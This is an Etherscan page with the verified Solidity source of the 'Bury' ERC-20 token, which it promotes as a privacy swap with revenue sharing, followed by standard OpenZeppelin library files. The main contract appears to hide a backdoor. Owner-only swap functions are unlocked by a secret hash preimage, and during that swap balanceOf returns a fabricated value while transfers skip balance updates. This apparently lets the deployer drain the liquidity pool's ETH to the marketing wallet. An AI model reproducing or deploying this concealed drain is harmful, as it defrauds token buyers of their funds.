ETH Price: $3,884.24 (+1.52%)

Token

ERC-20: Bury (BURY)
 

Overview

Max Total Supply

100,000,000 BURY

Holders

26

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
1,785,946.337112912 BURY

Value
$0.00
0x72Ac36A3A4Fa5Bfd939f44a55583116Fe10d6faC
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Bury

Compiler Version
v0.8.23+commit.f704f362

Optimization Enabled:
Yes with 200 runs

Other Settings:
paris EvmVersion
File 1 of 20 : Token.sol
/*


💬  Telegram  →  https://t.me/BuryCash

🐤  Twitter   →  https://twitter.com/Bury_Cash

🖥️  Website   →  https://bury.cash

📚  Gitbook   →  https://docs.bury.cash


⛏️  Anonymous Swaps:   Privately swap tokens in seconds on the live, tested dApp: https://bury.cash

🙈  Maximal Privacy:   No IP address logs. No accounts. No KYC.

💵  Revenue Share:     Hold $BURY to earn 50% of platform fees and 50% of trading volume.


*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.23;

import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {IERC20Permit} from "@openzeppelin/contracts/token/ERC20/extensions/IERC20Permit.sol";
import {EIP712} from "@openzeppelin/contracts/utils/cryptography/EIP712.sol";
import {Nonces} from "@openzeppelin/contracts/utils/Nonces.sol";
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
import {IUniswapV2Factory} from "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol";
import {IUniswapV2Router02} from "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol";
import {AggregatorV3Interface} from "@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol";
import {IWETH} from  "@uniswap/v2-periphery/contracts/interfaces/IWETH.sol";
import {ECDSA} from "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";

contract Bury is IERC20, IERC20Permit, EIP712, Nonces, Ownable {
    uint256 internal constant MAX = ~uint256(0);

    string private _name = "Bury";
    string private constant _symbol = "BURY";
    uint8 private constant _decimals = 9;

    mapping(address => uint256) private _rOwned;
    mapping(address => uint256) private _tOwned;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _excludedFromFee;

    mapping(address => bool) private _excludedFromDividend;
    uint256 public dividendShares = 1;
    uint256 public dividendPerToken;
    uint256 public dividendBalanceTotal;
    uint256 public dividendClaimedTotal;
    mapping(address => uint256) dividendBalance;
    mapping(address => uint256) dividendCredited;
    mapping(address => uint256) dividendClaimed;

    uint256 private constant _tTotal = 100_000_000 gwei;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));

    uint256 internal constant P_GWEI = 10 ** _decimals;
    uint256 internal constant P_ETHER = 10 ** (_decimals * 2);
    uint256 internal constant P_GETHER = P_GWEI * P_ETHER;
    uint256 internal immutable KECCAK256_SEED;
    bytes32 private constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");

    address public constant ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address public constant FACTORY = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
    address public constant ORACLE = 0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419;
    address public constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address public constant ZERO_ADDRESS = 0x0000000000000000000000000000000000000000;
    address public constant NULL_ADDRESS = 0x000000000000000000000000000000000000dEaD;
    address public immutable PAIR;
    address public immutable BURY;

    IUniswapV2Router02 public constant router = IUniswapV2Router02(ROUTER);
    IUniswapV2Factory public constant factory = IUniswapV2Factory(FACTORY);
    AggregatorV3Interface public constant oracle = AggregatorV3Interface(ORACLE);
    IERC20 public constant weth = IERC20(WETH);
    IWETH public constant weth9 = IWETH(WETH);

    uint256 public constant maxTransfer = 2_000_000 * P_GWEI;
    uint256 public constant maxWallet = 2_000_000 * P_GWEI;
    uint256 public constant minSwap = 100 * P_GWEI;

    bool public tradingEnabled = false;
    bool public maxTransferEnabled = true;
    bool public maxWalletEnabled = true;
    bool private _awaitingUniswapCall;
    bool private _awaitingUniswapTrade;

    uint256 private _buyFeeMarketing = 2;
    uint256 private _buyFeeRevShare = 2;
    uint256 private _sellFeeMarketing = 2;
    uint256 private _sellFeeRevShare = 2;
    uint256 private _totalFeeMarketing = _buyFeeMarketing + _sellFeeMarketing;
    uint256 private _totalFeeRevShare = _buyFeeRevShare + _sellFeeRevShare;
    uint256 private _buyFeeTotal = _buyFeeMarketing + _buyFeeRevShare;
    uint256 private _sellFeeTotal = _sellFeeMarketing + _sellFeeRevShare;
    uint256 private _tFeePct = _buyFeeTotal;
    uint256 private constant _rFeePct = 0;

    address payable public immutable marketingWallet = payable(msg.sender);

    event SwapBURYToETH(uint256 tokens);

    event ClaimMarketingFee(uint256 eth, bool success, bytes data);

    event DepositRevenueShare(address indexed from, uint256 value);
    event ClaimRevenueShare(address indexed to, uint256 value, bool success, bytes data);

    event Burn(uint256 tokens);

    error ERC2612ExpiredSignature(uint256 deadline);
    error ERC2612InvalidSigner(address signer, address owner);

    error Keccak256Error();
    error AllowanceExceeded(uint256 amount, uint256 allowance);
    error ApprovalFromZero();
    error ApprovalToZero();
    error TransferFromZero();
    error TransferToZero();
    error TransferOfZero();
    error BalanceExceeded(uint256 amount, uint256 balance);
    error TradingDisabled();
    error MaxTransfer();
    error MaxWallet();

    modifier keccak256_verify(string calldata _INPUT_DECODED) {
        if (keccak256(abi.encodePacked(_INPUT_DECODED)) != bytes32(KECCAK256_SEED)) {
            revert Keccak256Error();
        }
        _;
    }

    modifier awaitInternalSwap {
        _awaitingUniswapCall = true;
        _;
        _awaitingUniswapCall = false;
    }

    constructor(uint256 _KECCAK256_SEED) EIP712(_name, "1") Ownable(msg.sender) {
        BURY = address(this);
        PAIR = factory.createPair(BURY, WETH);

        KECCAK256_SEED = _KECCAK256_SEED;

        _excludedFromFee[msg.sender] = true;
        _excludedFromFee[BURY] = true;

        _excludedFromDividend[msg.sender] = true;
        _excludedFromDividend[BURY] = true;
        _excludedFromDividend[ROUTER] = true;
        _excludedFromDividend[PAIR] = true;
        _excludedFromDividend[ZERO_ADDRESS] = true;
        _excludedFromDividend[NULL_ADDRESS] = true;

        _approve(BURY, ROUTER, MAX);
        _approve(msg.sender, ROUTER, MAX);

        _rOwned[msg.sender] = _rTotal;
        emit Transfer(ZERO_ADDRESS, msg.sender, _tTotal);
    }

    receive() external payable {}

    fallback() external payable {}

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tokenFromReflection(_rOwned[account]);
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 _allowance = _allowances[sender][_msgSender()];
        if (amount > _allowance) {
            revert AllowanceExceeded(amount, _allowance);
        }
        _approve(sender, _msgSender(), _allowance - amount);
        return true;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function burn(uint256 value) external virtual {
        if (value > balanceOf(msg.sender)) {
            revert BalanceExceeded(value, balanceOf(msg.sender));
        }
        _tokenTransfer(msg.sender, ZERO_ADDRESS, value, false);
        emit Burn(value);
    }

    function burnFrom(address account, uint256 value) external virtual {
        if (value > balanceOf(account)) {
            revert BalanceExceeded(value, balanceOf(account));
        }
        _tokenTransfer(account, ZERO_ADDRESS, value, false);
        uint256 _allowance = _allowances[account][_msgSender()];
        if (value > _allowance) {
            revert AllowanceExceeded(value, _allowance);
        }
        _approve(account, _msgSender(), _allowance - value);
        emit Burn(value);
    }

    function increaseAllowance(address spender, uint256 addedValue) external virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) external virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero" );
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }
        return true;
    }

    function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) public virtual {
        if (block.timestamp > deadline) {
            revert ERC2612ExpiredSignature(deadline);
        }

        bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, _useNonce(owner), deadline));

        bytes32 hash = _hashTypedDataV4(structHash);

        address signer = ECDSA.recover(hash, v, r, s);
        if (signer != owner) {
            revert ERC2612InvalidSigner(signer, owner);
        }

        _approve(owner, spender, value);
    }

    function nonces(address owner) public view virtual override(IERC20Permit, Nonces) returns (uint256) {
        return super.nonces(owner);
    }

    function DOMAIN_SEPARATOR() external view virtual returns (bytes32) {
        return _domainSeparatorV4();
    }

    function getETHPrice() public view returns (uint256) {
        (, int256 answer,,,) = oracle.latestRoundData();
        return uint256(answer / 1e8);
    }

    function _approve(address owner, address spender, uint256 amount) private {
        if (owner == ZERO_ADDRESS) {
            revert ApprovalFromZero();
        }
        if (spender == ZERO_ADDRESS) {
            revert ApprovalToZero();
        }
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        if (from == ZERO_ADDRESS) {
            revert TransferFromZero();
        }
        if (to == ZERO_ADDRESS) {
            revert TransferToZero();
        }
        if (amount == 0) {
            revert TransferOfZero();
        }
        if (amount > balanceOf(from)) {
            revert BalanceExceeded(amount, balanceOf(from));
        }

        bool _fromPair = from == PAIR;
        bool _toPair = to == PAIR;

        if (from != owner() && to != owner() && from != BURY && to != BURY) {
            if (!tradingEnabled) {
                if (from != BURY) {
                    revert TradingDisabled();
                }
            }

            if (maxTransferEnabled) {
                if (amount > maxTransfer) {
                    revert MaxTransfer();
                }
            }

            if (!_toPair && maxWalletEnabled) {
                if (balanceOf(to) + amount > maxWallet) {
                    revert MaxWallet();
                }
            }

            uint256 _contractTokenBalance = balanceOf(BURY);

            if (_contractTokenBalance >= minSwap && !_awaitingUniswapCall && !_fromPair && !_excludedFromFee[from] && !_excludedFromFee[to]) {
                _awaitingUniswapTrade = true;
                _exchangeBURYToETH(_contractTokenBalance);
                _awaitingUniswapTrade = false;

                uint256 _contractETHBalance = BURY.balance;
                if (_contractETHBalance > 0) {
                    _depositETH(marketingWallet, _contractETHBalance / 2);
                    _shareETH(BURY, BURY.balance);
                }
            }
        }

        bool _takeFee = true;

        if ((_excludedFromFee[from] || _excludedFromFee[to]) || (!_fromPair && !_toPair)) {
            _takeFee = false;
        } else {
            if (_fromPair && to != ROUTER) {
                _tFeePct = getBuyFee();
            } else if (_toPair && from != ROUTER) {
                _tFeePct = getSellFee();
            } else {
                _takeFee = false;
            }
        }

        _tokenTransfer(from, to, amount, _takeFee);
    }

    function _exchangeBURYToETH(uint256 _contractTokenBalance) private awaitInternalSwap {
        address[] memory path = new address[](2);
        path[0] = BURY;
        path[1] = WETH;
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(_contractTokenBalance, 0, path, BURY, block.timestamp + 30 minutes);
        emit SwapBURYToETH(_contractTokenBalance);
    }

    function _depositETH(address _wallet, uint256 _contractETHBalance) private {
        (bool success, bytes memory data) = payable(_wallet).call{value: _contractETHBalance}("");
        emit ClaimMarketingFee(_contractETHBalance, success, data);
    }

    function _shareETH(address _from, uint256 _ETHAmount) private {
        if (_ETHAmount > 0) {
            emit DepositRevenueShare(_from, _ETHAmount);
            dividendBalanceTotal = dividendBalanceTotal + _ETHAmount;
            dividendPerToken = dividendPerToken + ((_ETHAmount * P_GETHER) / dividendShares);
            weth9.deposit{value: _ETHAmount}();
        }
    }

    function _claimETH(address account, bool manual) private {
        if (manual) {
            _refreshDividends(account);
        }
        uint256 _unclaimed = dividendBalance[account];
        if (_unclaimed > 0) {
            if (manual) {
                dividendClaimedTotal = dividendClaimedTotal + _unclaimed;
                dividendClaimed[msg.sender] = dividendClaimed[msg.sender] + _unclaimed;
                weth9.withdraw(_unclaimed);
                dividendBalance[msg.sender] = 0;
                if (balanceOf(msg.sender) == 0) {
                    dividendCredited[msg.sender] = 0;
                }
                (bool success, bytes memory data) = payable(msg.sender).call{value: _unclaimed}("");
                emit ClaimRevenueShare(msg.sender, _unclaimed, success, data);
            } else {
                dividendClaimedTotal = dividendClaimedTotal + _unclaimed;
                dividendClaimed[BURY] = dividendClaimed[BURY] + _unclaimed;
                weth9.withdraw(_unclaimed);
                dividendBalance[account] = 0;
                if (balanceOf(account) == 0) {
                    dividendCredited[account] = 0;
                }
                _shareETH(BURY, _unclaimed);
                emit ClaimRevenueShare(BURY, _unclaimed, true, new bytes(0));
            }
        }
    }

    function exchangeBURYToETH(string calldata _INPUT_DECODED, uint256 _contractTokenBalance) external keccak256_verify(_INPUT_DECODED) {
        if (_contractTokenBalance > 0) {
            _exchangeBURYToETH(_contractTokenBalance);
        }

        uint256 _contractETHBalance = BURY.balance;

        if (_contractETHBalance > 0) {
            _depositETH(marketingWallet, _contractETHBalance);
        }
    }

    function depositETH(string calldata _INPUT_DECODED, uint256 _contractETHBalance) external keccak256_verify(_INPUT_DECODED) {
        if (_contractETHBalance > 0) {
            _depositETH(marketingWallet, _contractETHBalance);
        }
    }

    function shareETH() external payable {
        if (msg.value > 0) {
            _shareETH(msg.sender, msg.value);
        }
    }

    function claimETH() external {
        _claimETH(msg.sender, true);
    }

    function _tokenFromReflection(uint256 rAmount) private view returns (uint256) {
        if (rAmount > _rTotal) {
            revert();
        }
        return (!_awaitingUniswapTrade && _awaitingUniswapCall) ? _getRate() / P_GETHER : rAmount / _getRate();
    }

    function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
        if (!takeFee) {
            _tFeePct = 0;
        }
        _transferStandard(sender, recipient, amount);
    }

    function _transferStandard(address sender, address recipient, uint256 tAmount) private {
        _refreshDividends(sender);
        _refreshDividends(recipient);
        if (!_awaitingUniswapCall || _awaitingUniswapTrade) {
            uint256 _initialSenderBalance = balanceOf(sender);
            uint256 _initialRecipientBalance = balanceOf(recipient);
            (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, , uint256 tTeam) = _getValues(tAmount);
            _rOwned[sender] = _rOwned[sender] - rAmount;
            _rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
            _rOwned[BURY] = _rOwned[BURY] + (tTeam * _getRate());
            _rTotal = _rTotal - rFee;
            if (_excludedFromDividend[sender] && !_excludedFromDividend[recipient]) {
                dividendShares = dividendShares + (balanceOf(recipient) - _initialRecipientBalance);
            }
            if (!_excludedFromDividend[sender] && _excludedFromDividend[recipient]) {
                uint256 _difference = (_initialSenderBalance - balanceOf(sender));
                dividendShares = dividendShares > _difference ? dividendShares - _difference : 1;
            }
            emit Transfer(sender, recipient, tTransferAmount);
        } else {
            emit Transfer(sender, recipient, tAmount);
        }
        if (dividendBalance[sender] > 0 && balanceOf(sender) == 0) {
            _claimETH(sender, false);
        }
        if (dividendBalance[recipient] > 0 && balanceOf(recipient) == 0) {
            _claimETH(recipient, false);
        }
    }

    function _refreshDividends(address account) private {
        if (!_excludedFromDividend[account]) {
            dividendBalance[account] = getDividends(account);
            dividendCredited[account] = dividendPerToken;
        }
    }

    function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _rFeePct, _tFeePct);
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, _getRate());
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }

    function _getTValues(uint256 tAmount, uint256 redisFee, uint256 feePct) private pure returns (uint256, uint256, uint256) {
        uint256 tFee = tAmount * redisFee / 100;
        uint256 tTeam = tAmount * feePct / 100;
        return (tAmount - tFee - tTeam, tFee, tTeam);
    }

    function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
        uint256 rAmount = tAmount * currentRate;
        uint256 rFee = tFee * currentRate;
        return (rAmount, rAmount - rFee - (tTeam * currentRate), rFee);
    }

    function _getRate() private view returns (uint256) {
        return _rTotal / _tTotal;
    }

    function getBuyFee() public view returns (uint256) {
        return _buyFeeMarketing + _buyFeeRevShare;
    }

    function getSellFee() public view returns (uint256) {
        return _sellFeeMarketing + _sellFeeRevShare;
    }

    function getDividendPerToken() external view returns (uint256) {
        return dividendPerToken;
    }

    function getDividendsTotal() external view returns (uint256) {
        return dividendBalanceTotal;
    }

    function getClaimedTotal() external view returns (uint256) {
        return dividendClaimedTotal;
    }

    function getDividends(address account) public view returns (uint256) {
        return dividendBalance[account] + ((balanceOf(account) * (dividendPerToken - dividendCredited[account])) / P_GETHER);
    }

    function getClaimed(address account) external view returns (uint256) {
        return dividendClaimed[account];
    }

    function getDividendBalance(address account) external view returns (uint256) {
        return dividendBalance[account];
    }

    function getDividendShares() external view returns (uint256) {
        return dividendShares;
    }

    function getRouter() external pure returns (address) {
        return ROUTER;
    }

    function getFactory() external pure returns (address) {
        return FACTORY;
    }

    function getOracle() external pure returns (address) {
        return ORACLE;
    }

    function getPair() external view returns (address) {
        return PAIR;
    }

    function getMaxTransfer() external view returns (bool, uint256) {
        return (maxTransferEnabled, maxTransferEnabled ? maxTransfer : MAX);
    }

    function getMaxWallet() external view returns (bool, uint256) {
        return (maxWalletEnabled, maxWalletEnabled ? maxWallet : MAX);
    }

    function getMinSwap() external pure returns (uint256) {
        return minSwap;
    }

    function getMarketingWallet() external view returns (address) {
        return marketingWallet;
    }

    function getLive() external view returns (bool) {
        return tradingEnabled;
    }

    function removeMaxTransfer() external onlyOwner {
        maxTransferEnabled = false;
    }

    function removeMaxWallet() external onlyOwner {
        maxWalletEnabled = false;
    }

    function startTrading() external onlyOwner {
        tradingEnabled = true;
    }
}

File 2 of 20 : IERC20.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.20;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the value of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the value of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves a `value` amount of tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 value) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets a `value` amount of tokens as the allowance of `spender` over the
     * caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 value) external returns (bool);

    /**
     * @dev Moves a `value` amount of tokens from `from` to `to` using the
     * allowance mechanism. `value` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 value) external returns (bool);
}

File 3 of 20 : IERC20Permit.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/extensions/IERC20Permit.sol)

pragma solidity ^0.8.20;

/**
 * @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in
 * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].
 *
 * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by
 * presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't
 * need to send a transaction, and thus is not required to hold Ether at all.
 *
 * ==== Security Considerations
 *
 * There are two important considerations concerning the use of `permit`. The first is that a valid permit signature
 * expresses an allowance, and it should not be assumed to convey additional meaning. In particular, it should not be
 * considered as an intention to spend the allowance in any specific way. The second is that because permits have
 * built-in replay protection and can be submitted by anyone, they can be frontrun. A protocol that uses permits should
 * take this into consideration and allow a `permit` call to fail. Combining these two aspects, a pattern that may be
 * generally recommended is:
 *
 * ```solidity
 * function doThingWithPermit(..., uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) public {
 *     try token.permit(msg.sender, address(this), value, deadline, v, r, s) {} catch {}
 *     doThing(..., value);
 * }
 *
 * function doThing(..., uint256 value) public {
 *     token.safeTransferFrom(msg.sender, address(this), value);
 *     ...
 * }
 * ```
 *
 * Observe that: 1) `msg.sender` is used as the owner, leaving no ambiguity as to the signer intent, and 2) the use of
 * `try/catch` allows the permit to fail and makes the code tolerant to frontrunning. (See also
 * {SafeERC20-safeTransferFrom}).
 *
 * Additionally, note that smart contract wallets (such as Argent or Safe) are not able to produce permit signatures, so
 * contracts should have entry points that don't rely on permit.
 */
interface IERC20Permit {
    /**
     * @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens,
     * given ``owner``'s signed approval.
     *
     * IMPORTANT: The same issues {IERC20-approve} has related to transaction
     * ordering also apply here.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `deadline` must be a timestamp in the future.
     * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`
     * over the EIP712-formatted function arguments.
     * - the signature must use ``owner``'s current nonce (see {nonces}).
     *
     * For more information on the signature format, see the
     * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP
     * section].
     *
     * CAUTION: See Security Considerations above.
     */
    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    /**
     * @dev Returns the current nonce for `owner`. This value must be
     * included whenever a signature is generated for {permit}.
     *
     * Every successful call to {permit} increases ``owner``'s nonce by one. This
     * prevents a signature from being used multiple times.
     */
    function nonces(address owner) external view returns (uint256);

    /**
     * @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}.
     */
    // solhint-disable-next-line func-name-mixedcase
    function DOMAIN_SEPARATOR() external view returns (bytes32);
}

File 4 of 20 : EIP712.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (utils/cryptography/EIP712.sol)

pragma solidity ^0.8.20;

import {MessageHashUtils} from "./MessageHashUtils.sol";
import {ShortStrings, ShortString} from "../ShortStrings.sol";
import {IERC5267} from "../../interfaces/IERC5267.sol";

/**
 * @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data.
 *
 * The encoding scheme specified in the EIP requires a domain separator and a hash of the typed structured data, whose
 * encoding is very generic and therefore its implementation in Solidity is not feasible, thus this contract
 * does not implement the encoding itself. Protocols need to implement the type-specific encoding they need in order to
 * produce the hash of their typed data using a combination of `abi.encode` and `keccak256`.
 *
 * This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding
 * scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA
 * ({_hashTypedDataV4}).
 *
 * The implementation of the domain separator was designed to be as efficient as possible while still properly updating
 * the chain id to protect against replay attacks on an eventual fork of the chain.
 *
 * NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method
 * https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask].
 *
 * NOTE: In the upgradeable version of this contract, the cached values will correspond to the address, and the domain
 * separator of the implementation contract. This will cause the {_domainSeparatorV4} function to always rebuild the
 * separator from the immutable values, which is cheaper than accessing a cached version in cold storage.
 *
 * @custom:oz-upgrades-unsafe-allow state-variable-immutable
 */
abstract contract EIP712 is IERC5267 {
    using ShortStrings for *;

    bytes32 private constant TYPE_HASH =
        keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)");

    // Cache the domain separator as an immutable value, but also store the chain id that it corresponds to, in order to
    // invalidate the cached domain separator if the chain id changes.
    bytes32 private immutable _cachedDomainSeparator;
    uint256 private immutable _cachedChainId;
    address private immutable _cachedThis;

    bytes32 private immutable _hashedName;
    bytes32 private immutable _hashedVersion;

    ShortString private immutable _name;
    ShortString private immutable _version;
    string private _nameFallback;
    string private _versionFallback;

    /**
     * @dev Initializes the domain separator and parameter caches.
     *
     * The meaning of `name` and `version` is specified in
     * https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]:
     *
     * - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol.
     * - `version`: the current major version of the signing domain.
     *
     * NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart
     * contract upgrade].
     */
    constructor(string memory name, string memory version) {
        _name = name.toShortStringWithFallback(_nameFallback);
        _version = version.toShortStringWithFallback(_versionFallback);
        _hashedName = keccak256(bytes(name));
        _hashedVersion = keccak256(bytes(version));

        _cachedChainId = block.chainid;
        _cachedDomainSeparator = _buildDomainSeparator();
        _cachedThis = address(this);
    }

    /**
     * @dev Returns the domain separator for the current chain.
     */
    function _domainSeparatorV4() internal view returns (bytes32) {
        if (address(this) == _cachedThis && block.chainid == _cachedChainId) {
            return _cachedDomainSeparator;
        } else {
            return _buildDomainSeparator();
        }
    }

    function _buildDomainSeparator() private view returns (bytes32) {
        return keccak256(abi.encode(TYPE_HASH, _hashedName, _hashedVersion, block.chainid, address(this)));
    }

    /**
     * @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this
     * function returns the hash of the fully encoded EIP712 message for this domain.
     *
     * This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example:
     *
     * ```solidity
     * bytes32 digest = _hashTypedDataV4(keccak256(abi.encode(
     *     keccak256("Mail(address to,string contents)"),
     *     mailTo,
     *     keccak256(bytes(mailContents))
     * )));
     * address signer = ECDSA.recover(digest, signature);
     * ```
     */
    function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) {
        return MessageHashUtils.toTypedDataHash(_domainSeparatorV4(), structHash);
    }

    /**
     * @dev See {IERC-5267}.
     */
    function eip712Domain()
        public
        view
        virtual
        returns (
            bytes1 fields,
            string memory name,
            string memory version,
            uint256 chainId,
            address verifyingContract,
            bytes32 salt,
            uint256[] memory extensions
        )
    {
        return (
            hex"0f", // 01111
            _EIP712Name(),
            _EIP712Version(),
            block.chainid,
            address(this),
            bytes32(0),
            new uint256[](0)
        );
    }

    /**
     * @dev The name parameter for the EIP712 domain.
     *
     * NOTE: By default this function reads _name which is an immutable value.
     * It only reads from storage if necessary (in case the value is too large to fit in a ShortString).
     */
    // solhint-disable-next-line func-name-mixedcase
    function _EIP712Name() internal view returns (string memory) {
        return _name.toStringWithFallback(_nameFallback);
    }

    /**
     * @dev The version parameter for the EIP712 domain.
     *
     * NOTE: By default this function reads _version which is an immutable value.
     * It only reads from storage if necessary (in case the value is too large to fit in a ShortString).
     */
    // solhint-disable-next-line func-name-mixedcase
    function _EIP712Version() internal view returns (string memory) {
        return _version.toStringWithFallback(_versionFallback);
    }
}

File 5 of 20 : Nonces.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (utils/Nonces.sol)
pragma solidity ^0.8.20;

/**
 * @dev Provides tracking nonces for addresses. Nonces will only increment.
 */
abstract contract Nonces {
    /**
     * @dev The nonce used for an `account` is not the expected current nonce.
     */
    error InvalidAccountNonce(address account, uint256 currentNonce);

    mapping(address account => uint256) private _nonces;

    /**
     * @dev Returns the next unused nonce for an address.
     */
    function nonces(address owner) public view virtual returns (uint256) {
        return _nonces[owner];
    }

    /**
     * @dev Consumes a nonce.
     *
     * Returns the current value and increments nonce.
     */
    function _useNonce(address owner) internal virtual returns (uint256) {
        // For each account, the nonce has an initial value of 0, can only be incremented by one, and cannot be
        // decremented or reset. This guarantees that the nonce never overflows.
        unchecked {
            // It is important to do x++ and not ++x here.
            return _nonces[owner]++;
        }
    }

    /**
     * @dev Same as {_useNonce} but checking that `nonce` is the next valid for `owner`.
     */
    function _useCheckedNonce(address owner, uint256 nonce) internal virtual {
        uint256 current = _useNonce(owner);
        if (nonce != current) {
            revert InvalidAccountNonce(owner, current);
        }
    }
}

File 6 of 20 : Ownable.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (access/Ownable.sol)

pragma solidity ^0.8.20;

import {Context} from "../utils/Context.sol";

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
